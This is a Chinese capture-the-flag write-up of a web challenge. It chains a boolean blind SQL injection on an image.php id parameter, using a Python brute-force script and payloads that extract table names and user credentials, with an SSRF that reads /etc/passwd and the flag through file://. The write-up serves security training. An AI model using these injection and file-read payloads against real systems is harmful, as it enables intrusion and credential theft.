CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger(布尔盲注、SSRF )

场景描述:最新的网站测试器,作为非站长的你,能利用好它的功能吗?

场景打开后,如下,是个登录框

查看源码,发现可能的注入点 /image.php?id=2

图片的id貌似是跟数据库存在交互的,下图中长度177的都是被过滤的关键字

布尔盲注

/image.php?id=if(1=1,1,5)	True
/image.php?id=if(1=2,1,5)	False

条件为真时?id=1,回显第一张图片,条件为假时?id=5,没有id=5的图片,什么都没有。即可作为布尔盲注判断条件

编写简单的Python盲注脚本

import string
from requests import *

allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

myurl = 'http://xxx.com/image.php'

info = ''
for i in range(1,50):
    for s in allstr:
        payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
        resp = get(url=myurl+payload)
        if len(resp.text) > 4000:
             info += s
             print(info)

payload

爆破数据库
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))

爆破表名
payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))

爆破列名(失败?)
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'),{},1))={},1,5)'.format(i,ord(s))

爆破字段值
payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))

关键函数解释

  • mid() 函数:截取字符串一部分,mid(column_name,start[,length])
  • ord() 函数:是 chr() 函数(对于8位的ASCII字符串),它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。返回值是对应的十进制整数。
  • group_concat() 函数:连接一个组的所有字符串,并以逗号分隔每一条数据。能一次性查出所有信息。group_concat(str1,str2,...)

注入查询到信息

Current_database: ctf

Tables_in_ctf: users,images

Columns_in_users: username,password

values_in_users: adminf5b86501931f812ed3833dee67a43603

得到用户名admin,密码f5b86501931f812ed3833dee67a43603,登录成功后显示如下

尝试输入127.0.0.1测试

curl这里应该存在SSRF

尝试file://协议去读文件,成功

file:///etc/passwd

直接读flag

file:///flag

参考:https://blog.csdn.net/mochu7777777/article/details/116570606

posted @ 2022-02-18 15:13  zhengna  阅读(547)  评论(0编辑  收藏  举报